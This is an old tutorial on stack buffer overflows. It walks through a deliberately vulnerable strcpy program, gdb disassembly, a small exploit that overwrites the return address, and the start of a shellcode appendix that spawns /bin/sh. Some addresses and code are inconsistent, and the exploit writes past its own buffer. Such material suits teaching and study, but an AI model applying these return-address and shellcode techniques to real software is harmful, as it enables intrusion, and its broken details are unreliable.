📄 introduction to buffer overflow.htm
字号:
<p><b>heap</b> - is the space that you reserve for a variable (you access heap when you
use malloc() function).</p>
<p><b>stack</b> - it's the place where is pushed or returned values from a function.
When you are trying to overflow the stack you'll try to change the return
address, making the code to jump some place in memory where you have put
commands that you want to execute.</p>
<p>So let's get into the stack stuff. Here starts the part that most problems
gave me and still give. Here we will need to know ASM, know how to handle with
gdb (believe me it will start being one of your best friends), still don't
give up.</p>
<p>We will talk in Smashing the Stack which consists in a kind of "attack" that
will change the return address(RET). Doing this you can return the function
to an address where you already had allocate some commands that you want to be
executed.</p>
</p>Like in the heap overflow, let's see some source code.
<br>
<br>
<center>
<br>------ Code starts here ------
<br>
<br>/* Stack Overflow example */
<br>
<br>exploit(char *this) {
<br>char string[20];
<br>strcpy(string,this);
<br>printf("%s\n", string);
<br>}
<br>main(int argc, char *argv[]) {
<br>exploit(argv[1]);
<br>}
<br>
<br>------ Code ends here -----
</center>
<br>
<br>
<p>Now we will try to call two times the exploit() functions. How we will do this?
Well first we need to find some nice addresses. This time let's use gdb. First
we compile.</p>
<br>
<center>
<br>$ gcc stack.c -o stack
<br>$ gdb stack
<br>
<br>
<br>GNU gdb 4.18
<br>Copyright 1998 Free Software Foundation, Inc.
<br>GDB is free software, covered by the GNU General Public License, and you are
<br>welcome to change it and/or distribute copies of it under certain conditions.
<br>Type "show copying" to see the conditions.
<br>There is absolutely no warranty for GDB. Type "show warranty" for details.
<br>This GDB was configured as "i586-suse-linux-gnu"...
<br>(gdb)
</center>
<br>
<p>This is your prompt now we will disassemble main. To do this we just need
to type disassemble (you can also type disas) main hard isn't it?<p>
<br>
<center>
<br>(gdb) disas main
<br>Dump of assembler code for function main:
<br>0x8048440 <main>: push %ebp
<br>0x8048441 <main+1>: mov %esp,%ebp
<br>0x8048443 <main+3>: mov 0xc(%ebp),%eax
<br>0x8048446 <main+6>: add $0x4,%eax
<br>0x8048449 <main+9>: mov (%eax),%edx
<br>0x804844b <main+11>: push %edx
<br>0x804844c <main+12>: call 0x8048410 <exploit>
<br>0x8048451 <main+17>: add $0x4,%esp
<br>0x8048454 <main+20>: mov %ebp,%esp
<br>0x8048456 <main+22>: pop %ebp
<br>0x8048457 <main+23>: ret
<br>(Some NOPS here. They stand for No Operation...meaning nothing is done).
<br>End of assembler dump.
</center>
<br>
<center>
Some thinking
</center?
<p>As we can see exploit is called at 0x804845c and itself has 0x8048410 as its
address.</p>
<br>
<center>
<br>Back to gdb
<br>-----------
<br>
<br>(gdb) disas exploit
<br>
<br>End of assembler dump.
<br>(gdb)
<br> 0x8048410 <exploit>: push %ebp
<br> 0x8048411 <exploit+1>: mov %esp,%ebp
<br> 0x8048413 <exploit+3>: sub $0x14,%esp
<br> 0x8048416 <exploit+6>: mov 0x8(%ebp),%eax
<br> 0x8048419 <exploit+9>: push %eax
<br> 0x804841a <exploit+10>: lea 0xffffffec(%ebp),%eax
<br> 0x804841d <exploit+13>: push %eax
<br> 0x804841e <exploit+14>: call 0x8048340 <strcpy>
<br> 0x8048423 <exploit+19>: add $0x8,%esp
<br> 0x8048426 <exploit+22>: lea 0xffffffec(%ebp),%eax
<br> 0x8048429 <exploit+25>: push %eax
<br> 0x804842a <exploit+26>: push $0x80484bc
<br> 0x804842f <exploit+31>: call 0x8048330 <printf>
<br> 0x8048434 <exploit+36>: add $0x8,%esp
<br> 0x8048437 <exploit+39>: mov %ebp,%esp
<br> 0x8048439 <exploit+41>: pop %ebp
<br> 0x804843a <exploit+42>: ret
<br>(gdb) x/3bc 0x80484bc
<br> 0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n'
<br>(gdb)
<br>(gdb) quit
<br>$
<br>back to the prompt
</center>
<br>
<center>
Another stage of little thinking
</center>
<p>First you are probably wondering what's x/3bc command is. Well this is the
command that let us examine memory.</p>
<br>
<center>
<br> x/3bc
<br> ^^^
<br> |||--- chars
<br> || --- Binary
<br> |----- define 3 as range
</center>
<p>(For more info type in gdb prompt help x/)</p>
<p>I did it because I was wondering what was being pushed into the stack at
0x80484cc , and as you can see is the string we want to print.</p>
<hr width="50%">
<center>
Our Goal
</center>
<hr width="50%>
<p> Our goal will now be trying to make exploit return to exploit again instead of
returning to main. So how will we do this, and how will we know if we can do I
t? Well first signal we have that we probably can do something to exploit the c
ode is the segmentation fault we get when we give a huge string, well not that
huge probably aaaaaaaaaaaaaaaaaaaa would do :) check for yourself (hint try
20).</p>
<p> So to do that we need to change RET (return address) your now thinking in a
line that you saw in gdb:</p>
<br>
<center>
0x804844c <main+3>: call 0x8048410 <exploit>
</center>
<br>
<p>Now the question. In this important line we have 2 address which one to use?
Well it's easy you need to use 0x804844c because it's the one that mentions a
call to exploit, if you used the 0x8048410 we wouldn't get nothing since we
were pointing to</p>
<br>
<center>
<br> 0x8048410 <exploit>: push %ebp
<br>
<br>
<br>------ Code Starts Here -----
<br>
<br>/* Exploit for stack program */
<br>
<br>#include <stdio.h>
<br>
<br>main() {
<br>
<br>char buf[28];
<br>int i;
<br>
<br>for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
<br>*(long *)&buf[24] = 0x0804844c;
<br>*(long *)&buf[28] = 0x0;
<br>execv("./stack2", buf);
<br>}
<br>
<br>------- Code ends Here --------
</center>
<br>
<p>Doing this we will re-write the Return address for 0x0804844c returning the
functions to the call exploit again. This will put us in a endless loop.
Why we could exploit this program? Well because there was no checking in the
length of the string we were sending. So here's an advice if you code something
that needs to be secure, always use functions that do length checking, like
fgets(), strncpy() instead of gets(), strcpy(), and so on.<p>
<br>
<hr width="50%">
<center>
gdb tip
</center>
<hr width="50%">
<br>
<p>Wanna see how an exploit affects the vunerable program. Enter in gdb and type.<p>
<br>
<center>
<br>(gdb) exec exploit
<br>(gdb) symbol-file vunerable_program
</center>
<br>
<p>Then you can see what the exploit does, and correct the problems if you are
having any.</p>
<br>
<hr width="50%">
<center>
Final Suggestions
</center>
<hr width="50%">
<br>
<p>Well we reached the final. Hope this was some help for you... I have in my mind
some "upgrades" in this tutorial, since it hasn't everything I wanted to say.
But I think it's better to check everything I want to say, instead of saying
something that I'm not 100% sure.<p>
<p>If you find something in this tutorial that don't match, please feel free to
email me about it.</p>
<br>
<br>
<hr width="50%">
<center>
Reading Suggestions
</center>
<hr width="50%">
<br>
<br>- Omega Project by Lamagra
<br>- Advanced buffer overflow exploit by Taeho Oh
<br>- Smashing The Stack For Fun And Profit by Aleph One
<p>This 3 texts will give you a huge amount of info that you can need.
They helped me... They can be found at packetstorm.securify.com</p>
<br>
<br>
<center>
Appendix A: Shell Code
</center>
<p>This appendix was written for a friend, Predator, which i gratefully thank for
his efforts. Original text is below.<p>
<br>
<center>
<br>Regards
<br>mailto:predator@beotel.yu
<br>ICQ#: 46043882
</center>
<br>
<p>I wrote this as part of Ghost Rider buffer overflow tutorial which
you can download at <a href="http://blacksun.box.sk">http://blacksun.box.sk</a></p>
<br>
<br>Author: predator
<br>mailto: preedator@hotmail.com
<br>date : 26/07/2000
<br>
<center>
Shell code
</center>
<p>Now I will talk about shell code.Shell code is a char array which consist in
machine instruction which are used to spawn shell.Since the program we try
exploit doesn't have code which will execute shell,we must write it. For
this, you must know a little of assembly,C and x86 structure, Linux is
also required. But only C and assembly are really needed. Well lets start
with it.<p>
<br>
<center>
1. Shell code
</center>
<br>
<p>Usually shell code is written in program as -></p>
<br>1) char c0de[]={0x90,0x90...};
<br>2) char c0de[]="\x90\x90...";
<p>Both are correct so you can use both.:)).</p>
<br>
<center>
<br>2. Starting with shell c0de...
</center>
<br>
<center>
<br>------- shell.cpp Code Starts Here ----------
<br>void main(){
<br>char *sh[2];
<br>sh[0]="/bin/sh";
<br>sh[1]=NULL;
<br>execve(sh[0],sh,NULL);
<br>}
<br>------- shell.cpp Code Ends Here ----------
</center>
<br>
<p>This program is used to run shell.Why execve if there is a lot of exec
function.The answer is simple execve is only exec function that is call
with int $0x80 and which is very important to us.</p>
<p>well lets compile this with -static option and run it in gdb.</p>
<br>
<center>
<br>root@scorpion#cc shell.cpp -o shell -static
<br>root@scorpion#gdb shell
<br>GNU gdb 4.18
<br>Copyright 1998 Free Software Foundation, Inc.
<br>GDB is free software, covered by the GNU General Public License, and you are
<br>welcome to change it and/or distribute copies of it under certain conditions.
<br>Type "show copying" to see the conditions.
<br>There is absolutely no warranty for GDB. Type "show warranty" for details.
<br>This GDB was configured as "i686-pc-linux-gnu"...
<br>(gdb) disass main
<br>Dump of assembler code for function main:
<br>0x80481c0 <main>: push %ebp
<br>0x80481c1 <main+1>: mov %esp,%ebp
<br>0x80481c3 <main+3>: sub $0x8,%esp
<br>0x80481c6 <main+6>: movl $0x8073768,0xfffffff8(%ebp)
<br>0x80481cd <main+13>: movl $0x0,0xfffffffc(%ebp)
<br>0x80481d4 <main+20>: push $0x0
<br>0x80481d6 <main+22>: lea 0xfffffff8(%ebp),%eax
<br>0x80481d9 <main+25>: push %eax
<br>0x80481da <main+26>: mov 0xfffffff8(%ebp),%eax
<br>0x80481dd <main+29>: push %eax
<br>0x80481de <main+30>: call 0x804ea70 <__execve>
<br>0x80481e3 <main+35>: add $0xc,%esp
<br>0x80481e6 <main+38>: xor %eax,%eax
<br>0x80481e8 <main+40>: jmp 0x80481f0 <main+48>
<br>0x80481ea <main+42>: lea 0x0(%esi),%esi
<br>0x80481f0 <main+48>: mov %ebp,%esp
<br>0x80481f2 <main+50>: pop %ebp
<br>0x80481f3 <main+51>: ret
<br>0x80481f4 <main+52>: nop
<br>0x80481f5 <main+53>: nop
<br>0x80481f6 <main+54>: nop
<br>0x80481f7 <main+55>: nop
<br>0x80481f8 <main+56>: nop
<br>0x80481f9 <main+57>: nop
<br>0x80481fa <main+58>: nop
<br>0x80481fb <main+59>: nop
<br>0x80481fc <main+60>: nop
<br>0x80481fd <main+61>: nop
<br>0x80481fe <main+62>: nop
<br>0x80481ff <main+63>: nop
<br>End of assembler dump.
<br>(gdb) disass execve
<br>Dump of assembler code for function __execve:
<br>0x804ea70 <__execve>: push %ebx
<br>0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx
<br>0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx
<br>0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx
<br>0x804ea7d <__execve+13>: mov $0xb,%eax
<br>0x804ea82 <__execve+18>: int $0x80
<br>0x804ea84 <__execve+20>: pop %ebx
<br>0x804ea85 <__execve+21>: cmp $0xfffff001,%eax
<br>0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error>
<br>0x804ea90 <__execve+32>: ret
<br>End of assembler dump.
<br>(gdb) quit
</center>
<br>
<p><b>Well lets look in main:)All function start from there</b><p>
<br>
<center>
<br>main -> push %ebp
<br>main+1 ->movl %esp,%ebp
<br><b>This is standard procedure in all function. First save %ebp and then move
<br>%esp to %ebp making %ebp the new frame pointer.</b>
<br>
<br>main+3 -> sub $0x8,%esp
<br><b>sub %esp with 0x8 because 2 char pointer are 8 bytes long 2*4=8:))</b>
<br>
<br>main+6 -> movl 0x8073768,0xfffffff8(%ebp)
<br><b>same as sh[0]="/bin/sh";</b>
<br>
<br>main+13 -> movl $0x0,0xfffffffc(%ebp)
<br><b>same as sh[1]=NULL;</b>
<br>
<br>main+20 -> pushl $0x0
<br><b>the call of execve starts here,we are pushing arguments of function in reverse
<br>order on stack(x86 structure works upside-down).</b>
<br>
<br>main+22 -> lea 0xfffffff8(%ebp),%eax
<br><b>lea is load efective address,we load address of sh into the array of pointers</b>
<br>
<br>main+25 -> pushl %eax
<br><b>we push address on stack,2nd argument(sh)</b>
<br>
<br>main+26 -> movl 0xfffffff8(%ebp),%eax ...
<br><b>we have address of /bin/sh in 0xfffffff8(%ebp) look at main+6 and then push
<br>it on stack as sh[0]</b>
<br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -